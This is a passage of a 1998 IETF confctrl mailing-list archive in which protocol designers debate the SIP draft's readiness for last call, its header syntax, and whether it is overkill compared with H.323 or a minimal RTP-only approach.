Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Agree. SIP "as is" is too important to delay. 

Thanks, Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Christian Huitema
> Sent: Tuesday, April 21, 1998 12:40 AM
> To: Henning Schulzrinne; confctrl@ISI.EDU
> Subject: Re: SIP: Expires, Retry-After
> 
> 
> Henning,
> 
> At this stage, it is more important to get a first version of SIP 
> published than to try minor adjustments.  Let's concentrate on the
> real problem, i.e. fining a proper security architecture, and 
> go to WG last call.  The more you delay, the more this work is
> becoming irrelevant.
> 
> -- 
> Christian Huitema
> ----------
> See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/
> 

From confctrl-owner  Mon Apr 20 20:22:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA25661
	for confctrl-outgoing; Mon, 20 Apr 1998 20:22:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA25656
	for <confctrl@zephyr.isi.edu>; Mon, 20 Apr 1998 20:22:04 -0700 (PDT)
Received: from ccl.chungnam.ac.kr (ccl.chungnam.ac.kr [168.188.48.128])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA17611
	for <confctrl@isi.edu>; Mon, 20 Apr 1998 20:22:11 -0700 (PDT)
Received: from tomboy.chungnam.ac.kr ([168.188.48.151])
	by ccl.chungnam.ac.kr (8.8.8H1/8.8.8) with SMTP id MAA28107
	for <confctrl@isi.edu>; Tue, 21 Apr 1998 12:22:09 +0900 (KST)
From: "Kim Jin-gu" <jgkim@ccl.chungnam.ac.kr>
To: <confctrl@ISI.EDU>
Date: Tue, 21 Apr 1998 12:23:19 +0900
Message-ID: <01bd6cd4$d495de20$9730bca8@tomboy.chungnam.ac.kr>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000B_01BD6D20.447D8620"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.71.1712.3
X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01BD6D20.447D8620
Content-Type: text/plain;
	charset="euc-kr"
Content-Transfer-Encoding: quoted-printable

subscribe

------=_NextPart_000_000B_01BD6D20.447D8620
Content-Type: text/html;
	charset="euc-kr"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3D"text/html; charset=3Dks_c_5601-1987" =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.71.1712.3"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>subscribe</FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01BD6D20.447D8620--


From confctrl-owner  Tue Apr 21 09:18:25 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00244
	for confctrl-outgoing; Tue, 21 Apr 1998 09:18:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA26510
	for <confctrl@zephyr.isi.edu>; Mon, 20 Apr 1998 21:06:57 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA19334
	for <confctrl@ISI.EDU>; Mon, 20 Apr 1998 21:07:04 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199804210358.MAA06409@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id MAA06409; Tue, 21 Apr 1998 12:57:48 +0859
Subject: RE: SIP: Expires, Retry-After
To: henry.sinnreich@mci.com (Henry Sinnreich)
Date: Tue, 21 Apr 98 12:57:46 JST
Cc: huitema@bellcore.com, schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
In-Reply-To: <000001bd6c95$35d32980$552429a6@sinnreich2.678.mciw>; from "Henry Sinnreich" at Apr 20, 98 9:47 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Agree. SIP "as is" is too important to delay. 

Why? It may be of some importance for a toy environment of Mbone.

But, what is the importance of it in the real world?

It is just overkill for IP telephony, for example.

						Masataka Ohta

From confctrl-owner  Tue Apr 21 10:55:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA03374
	for confctrl-outgoing; Tue, 21 Apr 1998 09:45:41 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02484
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 09:43:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14111
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 08:15:06 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10079
	for <confctrl@isi.edu>; Tue, 21 Apr 1998 08:15:04 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id LAA17445;
	Tue, 21 Apr 1998 11:14:31 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id LAA28208;
	Tue, 21 Apr 1998 11:14:30 -0400 (EDT)
Date: Tue, 21 Apr 1998 11:14:30 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980421111430.ZM28206@seawind.bellcore.com>
In-Reply-To: Mark Handley <mjh@east.isi.edu>
        "Re: SIP: Expires, Retry-After" (Apr 21,  9:48am)
References: <7055.893166493@north.lcs.mit.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Mark Handley <mjh@ISI.EDU>, Henry Sinnreich <henry.sinnreich@mci.com>
Subject: Re: SIP: Expires, Retry-After
Cc: Christian Huitema <huitema@bellcore.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        confctrl <confctrl@ISI.EDU>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

OK, for the factual comment:

1) I don't really care about expiration dates.

2) We must align "From" and "To" with the mail practice.  Since RFc 822,
   a text between parenthesis is an optional comment, that can be
   located anywhere in the address.  The user friendly name should
   be placed before the <> notation.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Tue Apr 21 11:42:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA03380
	for confctrl-outgoing; Tue, 21 Apr 1998 09:45:48 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02604
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 09:43:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13056
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 06:48:39 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA07767
	for <confctrl@ISI.EDU>; Tue, 21 Apr 1998 06:48:38 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id JAA07057; Tue, 21 Apr 1998 09:48:13 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henry Sinnreich <henry.sinnreich@mci.com>
cc: Christian Huitema <huitema@bellcore.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: SIP: Expires, Retry-After 
In-reply-to: Your message of "Mon, 20 Apr 1998 21:47:53 +0200."
             <000001bd6c95$35d32980$552429a6@sinnreich2.678.mciw> 
Date: Tue, 21 Apr 1998 09:48:13 -0400
Message-ID: <7055.893166493@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Agree. SIP "as is" is too important to delay. 

You misunderstand - we're going through the process of producing what
we hope is the last ID before we go to WG last call.  This draft
should be done _this_ week.  As we go through this, we're _obliged_ to
do a very detailed read through, identify any problems, and solve
them.  We're actively doing this this week.  

The read through also throws out a few small issues that we can easily
change at this point, but will have trouble changing later.  Whether
or not we change them won't make any difference to the timing.  When
we can't agree amongst ourselves (and mostly we can because the best
solution is clear) we throw something out to the list for comment.
Feedback would be most useful.

When we do get the ID out this week, I'd _really_ like people who are
interested to read it as soon as possible - the earlier we get
feedback the better!

Cheers,
	Mark

From confctrl-owner  Tue Apr 21 12:30:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA03349
	for confctrl-outgoing; Tue, 21 Apr 1998 09:45:31 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02922
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 09:43:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id EAA11896
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 04:28:43 -0700 (PDT)
Received: from alpha.mcit.com (alpha.mcit.com [199.249.18.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05000
	for <confctrl@ISI.EDU>; Tue, 21 Apr 1998 04:28:42 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
          by alpha.mcit.com (8.8.8/) with ESMTP
	  id HAA17154; Tue, 21 Apr 1998 07:28:07 -0400 (EDT)
Received: from nmss1a.mcit.com.mci.com (nmss1a.mcit.com [166.37.172.5])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id HAA12240; Tue, 21 Apr 1998 07:28:06 -0400 (EDT)
Received: from sinnreich2 ([166.41.36.85]) by nmss1a.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980421112806.NJU5781@[166.41.36.85]>;
          Tue, 21 Apr 1998 07:28:06 -0400
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Masataka Ohta" <mohta@necom830.hpcl.titech.ac.jp>
Cc: <huitema@bellcore.com>, <schulzrinne@cs.columbia.edu>, <confctrl@ISI.EDU>
Subject: RE: SIP: Expires, Retry-After
Date: Tue, 21 Apr 1998 06:27:09 +0200
Message-ID: <000a01bd6cdd$bf6ce940$552429a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3007.0
In-Reply-To: <199804210358.MAA06409@necom830.hpcl.titech.ac.jp>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Masataka,

>It is just overkill for IP telephony, for example.

Are 20 ISDN signaling messages over IP, network zones with gatekeepers,
security tokens, etc. preferable for IP telephony ?
How much technology is an overkill for part of the $450B telephony market ?

Henry

> -----Original Message-----
> From: Masataka Ohta [mailto:mohta@necom830.hpcl.titech.ac.jp]
> Sent: Tuesday, April 21, 1998 5:58 AM
> To: Henry Sinnreich
> Cc: huitema@bellcore.com; schulzrinne@cs.columbia.edu; confctrl@ISI.EDU
> Subject: RE: SIP: Expires, Retry-After
>
>
> > Agree. SIP "as is" is too important to delay.
>
> Why? It may be of some importance for a toy environment of Mbone.
>
> But, what is the importance of it in the real world?
>
> It is just overkill for IP telephony, for example.
>
> 						Masataka Ohta
>


From confctrl-owner  Tue Apr 21 13:23:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA24942
	for confctrl-outgoing; Tue, 21 Apr 1998 13:23:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA24937
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 13:22:58 -0700 (PDT)
Received: from hebe.or.intel.com (hebe.or.intel.com [134.134.248.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA00407
	for <confctrl@ISI.EDU>; Tue, 21 Apr 1998 13:22:57 -0700 (PDT)
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5])
	by hebe.or.intel.com (8.8.6/8.8.5) with ESMTP id NAA19890;
	Tue, 21 Apr 1998 13:29:10 -0700 (PDT)
Received: from jetoga.intel.com (jetoga.jf.intel.com [134.134.153.207])
          by ideal.jf.intel.com (8.8.7/8.8.7) with SMTP
	  id NAA09612; Tue, 21 Apr 1998 13:15:02 -0700 (PDT)
Message-Id: <3.0.5.32.19980421132249.007ca8b0@ibeam.intel.com>
X-Sender: jtoga@ibeam.intel.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Tue, 21 Apr 1998 13:22:49 -0700
To: "Henry Sinnreich" <henry.sinnreich@mci.com>,
        "Masataka Ohta" <mohta@necom830.hpcl.titech.ac.jp>
From: Jim Toga <jim.toga@intel.com>
Subject: RE: SIP: Expires, Retry-After
Cc: <huitema@bellcore.com>, <schulzrinne@cs.columbia.edu>, <confctrl@ISI.EDU>
In-Reply-To: <000a01bd6cdd$bf6ce940$552429a6@sinnreich2.678.mciw>
References: <199804210358.MAA06409@necom830.hpcl.titech.ac.jp>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Henry,

There is exactly one (1) message in each direction  to set up an H.323 call
which is what I assume you were referencing below....

Security 'tokens' may optionally be included in these messages; most $450B
businesses want security.

Best Regards,
jimt.

At 06:27 AM 4/21/98 +0200, Henry Sinnreich wrote:
>Masataka,
>
>>It is just overkill for IP telephony, for example.
>
>Are 20 ISDN signaling messages over IP, network zones with gatekeepers,
>security tokens, etc. preferable for IP telephony ?
>How much technology is an overkill for part of the $450B telephony market ?
>
>Henry
>
>> -----Original Message-----
>> From: Masataka Ohta [mailto:mohta@necom830.hpcl.titech.ac.jp]
>> Sent: Tuesday, April 21, 1998 5:58 AM
>> To: Henry Sinnreich
>> Cc: huitema@bellcore.com; schulzrinne@cs.columbia.edu; confctrl@ISI.EDU
>> Subject: RE: SIP: Expires, Retry-After
>>
>>
>> > Agree. SIP "as is" is too important to delay.
>>
>> Why? It may be of some importance for a toy environment of Mbone.
>>
>> But, what is the importance of it in the real world?
>>
>> It is just overkill for IP telephony, for example.
>>
>> 						Masataka Ohta
>>
>
>
>

From confctrl-owner  Tue Apr 21 14:23:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28476
	for confctrl-outgoing; Tue, 21 Apr 1998 14:23:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28471
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 14:23:10 -0700 (PDT)
Received: from beta.mcit.com (beta.mcit.com [199.249.19.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA04417
	for <confctrl@ISI.EDU>; Tue, 21 Apr 1998 14:23:09 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
          by beta.mcit.com (8.8.8/) with ESMTP
	  id QAA07877; Tue, 21 Apr 1998 16:22:37 -0500 (CDT)
Received: from omss1a.mcit.com.mci.com (omss1a.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id RAA03800; Tue, 21 Apr 1998 17:22:37 -0400 (EDT)
Received: from sinnreich2 ([166.35.250.189]) by omss1a.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980421212236.PFKI20014@[166.35.250.189]>;
          Tue, 21 Apr 1998 16:22:36 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Jim Toga" <jim.toga@intel.com>,
        "Masataka Ohta" <mohta@necom830.hpcl.titech.ac.jp>
Cc: <huitema@bellcore.com>, <schulzrinne@cs.columbia.edu>, <confctrl@ISI.EDU>
Subject: RE: SIP: Expires, Retry-After
Date: Tue, 21 Apr 1998 16:21:33 +0200
Message-ID: <001c01bd6d30$c9414e40$bdfa23a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3007.0
In-reply-to: <3.0.5.32.19980421132249.007ca8b0@ibeam.intel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> There is exactly one (1) message in each direction  to set up an
> H.323 call

Jim,

Glad to have expertise on board: The fast H.323 call setup is between
terminals that know each other's address and without invoking the gatekeeper
and its services, or is it with the gatekeeper in between ? Reading H.323
v2, I saw several types of  message exchanges.

Thanks, Henry


From confctrl-owner  Tue Apr 21 14:29:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA29365
	for confctrl-outgoing; Tue, 21 Apr 1998 14:29:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA29360
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 14:28:59 -0700 (PDT)
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA04878;
	Tue, 21 Apr 1998 14:28:50 -0700 (PDT)
Received: by INET-05-IMC with Internet Mail Service (5.5.1960.3)
	id <J1AXLR65>; Tue, 21 Apr 1998 14:28:50 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D029711F7@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'Mark Handley'" <mjh@ISI.EDU>,
        Henry Sinnreich
	 <henry.sinnreich@mci.com>,
        "'schooler@cs.caltech.edu'"
	 <schooler@cs.caltech.edu>
Cc: Christian Huitema <huitema@bellcore.com>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>,
        confctrl <confctrl@ISI.EDU>
Subject: Comments on SIP
Date: Tue, 21 Apr 1998 14:28:43 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At the last IETF I promised that I would read through the SIP draft (v5) and
explain what SIP would need to do in order to be HTTP compliant.

I have finished reading the draft and have written up my comments which are
currently 13 pages long. However I am still actively editing them and expect
that number to shrink. Part of the comments are on HTTP compliance and the
rest are nit picks on the spec (spelling errors, grammar errors, and unclear
sentences) and I have a few pages on concerns I have about SIP independent
of HTTP.

Like all of you, I have a day job. So it isn't likely that I will be
finished processing the comments until Monday of next week. Which should
nicely coincide with the release of the new version of your spec.

BTW, as far as I can tell, it appears fairly straight forward to make SIP
HTTP compliant. The only snag I have run into is how to handle your Via
header which is much stricter than the HTTP Via header. I am investigating
the matter.

			Until Monday,
				Yaron


From confctrl-owner  Tue Apr 21 22:24:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA10091
	for confctrl-outgoing; Tue, 21 Apr 1998 22:24:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA10085
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 22:24:40 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA25364
	for <confctrl@ISI.EDU>; Tue, 21 Apr 1998 22:24:32 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199804220515.OAA08329@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id OAA08329; Wed, 22 Apr 1998 14:14:46 +0859
Subject: RE: SIP: Expires, Retry-After
To: henry.sinnreich@mci.com (Henry Sinnreich)
Date: Wed, 22 Apr 98 14:14:45 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, huitema@bellcore.com,
        schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
In-Reply-To: <000a01bd6cdd$bf6ce940$552429a6@sinnreich2.678.mciw>; from "Henry Sinnreich" at Apr 21, 98 6:27 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henry;

> >It is just overkill for IP telephony, for example.
> 
> Are 20 ISDN signaling messages over IP, network zones with gatekeepers,
> security tokens, etc. preferable for IP telephony ?

It is another overkill.

> How much technology is an overkill for part of the $450B telephony market ?

Anything more than minimum necessary is overkill.

Can't you spend just 5 minutes to read draft-ohta-notasip-01.txt?

							Masataka Ohta

From confctrl-owner  Tue Apr 21 22:56:20 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA10585
	for confctrl-outgoing; Tue, 21 Apr 1998 22:56:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA10580
	for <confctrl@zephyr.isi.edu>; Tue, 21 Apr 1998 22:56:19 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA25971
	for <confctrl@isi.edu>; Tue, 21 Apr 1998 22:56:13 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199804220542.OAA08499@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id OAA08499; Wed, 22 Apr 1998 14:41:47 +0859
Subject: Re: Netshow and the MBONE
To: J.Crowcroft@cs.ucl.ac.uk (Jon Crowcroft)
Date: Wed, 22 Apr 98 14:41:46 JST
Cc: dana@radiant.net, rem-conf@es.net, confctrl@ISI.EDU
In-Reply-To: <2487.893148904@cs.ucl.ac.uk>; from "Jon Crowcroft" at Apr 21, 98 9:55 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon;

This message is sent also to confctrl.

> In message <3.0.32.19980420152622.00b40100@mail.radiant.net>, dana@radiant.net 
> typed:
> 
>  >>Netshow is a client and server product available for free from Microsoft.
>  >>I've been running it on NT4 with good results unicasting to about 100
>  >>clients worldwide. The problem I am running into is bandwidth (of course),
>  >>so multicasting is necessary. I simply do not know what it is that I need
>  >>to know in order to get it going.
>  >>Regarding interoperability with MBONE tool I can't answer that one.
>  
> 
> sad, and i guess its what people get for bowing to externalities and
> going for microsoft products....:-)
> 
> i guess we'll start to hear all kinds of interesting scaling
> complaints from h323 wide area users soon too
> 
> basically, CLIENT SERVER DOESNT scale for multiparty applications, ok
> - this lesson (from the early 80s) has not yet been learned by a lot
> of folks.....

Right.

But, it is better to tell it in MMUSIC as a criticism on SIP.

SIP is unnecessary for unicast.

SIP doesn't scale for multiparty applications.

							Masataka Ohta

From confctrl-owner  Wed Apr 22 07:38:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA16573
	for confctrl-outgoing; Wed, 22 Apr 1998 07:38:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16568
	for <confctrl@zephyr.isi.edu>; Wed, 22 Apr 1998 07:38:31 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14268
	for <confctrl@isi.edu>; Wed, 22 Apr 1998 07:38:30 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <HSHC4J0B>; Wed, 22 Apr 1998 10:29:56 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E909E563@nettrix.mediatrix.com>
From: Francois Menard <fmenard@mediatrix.com>
To: "'Masataka Ohta'" <mohta@necom830.hpcl.titech.ac.jp>,
        J.Crowcroft@cs.ucl.ac.uk
Cc: dana@radiant.net, rem-conf@es.net, confctrl@ISI.EDU
Subject: RE: Netshow and the MBONE
Date: Wed, 22 Apr 1998 10:29:46 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> SIP is unnecessary for unicast.

Could you substantialize a little bit ...

-=Francois=-

From confctrl-owner  Wed Apr 22 10:55:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA24985
	for confctrl-outgoing; Wed, 22 Apr 1998 10:55:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24980
	for <confctrl@zephyr.isi.edu>; Wed, 22 Apr 1998 10:55:49 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA25394
	for <confctrl@isi.edu>; Wed, 22 Apr 1998 10:55:47 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id NAA08444;
	Wed, 22 Apr 1998 13:55:15 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id NAA28908;
	Wed, 22 Apr 1998 13:55:14 -0400 (EDT)
Date: Wed, 22 Apr 1998 13:55:14 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980422135513.ZM28906@seawind.bellcore.com>
In-Reply-To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
        "RE: SIP: Expires, Retry-After" (Apr 22,  2:14pm)
References: <199804220515.OAA08329@necom830.hpcl.titech.ac.jp>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Subject: Re: SIP: Expires, Retry-After
Cc: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Can't you spend just 5 minutes to read draft-ohta-notasip-01.txt?

I did.  Well, your draft starts by saying something like:
   The caller host somehow (through SDP URL [SDP, SDPURL] of callee's
   home page, for example) finds the callee's IP address, UDP port
   number (with default port number of <to be assigned by IANA>) and
   desired encoding.
... which is largely what SIP is about. (or H.323 RAS.)  So, there is
obviously some use for SIP, as least as a competitor to Altavista and
Yahoo.

Then, your set-up procedure is to simply send RTP packets to the right
address, so that the receipient notices the address and starts replying.
 This is certainly the minimum that one can do.  The problem there is
indeed that people have grown accustomed to a couple of useful feature,
like being able to check who is calling before they answer the phone, or
being able to redirect phone calls to different locations (such as
different operators in a call center).  Just sending RTP packets won't let
you do that.

Finally, as you mention, part of the problem is the operation of gateways.
 Like it or not, this implies some compatibility with the regular POTS
call models, with definitions of progress tones, etc.  Just one message
does not quite cut, there.


-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Wed Apr 22 19:24:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA11418
	for confctrl-outgoing; Wed, 22 Apr 1998 19:24:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA11413
	for <confctrl@zephyr.isi.edu>; Wed, 22 Apr 1998 19:24:44 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
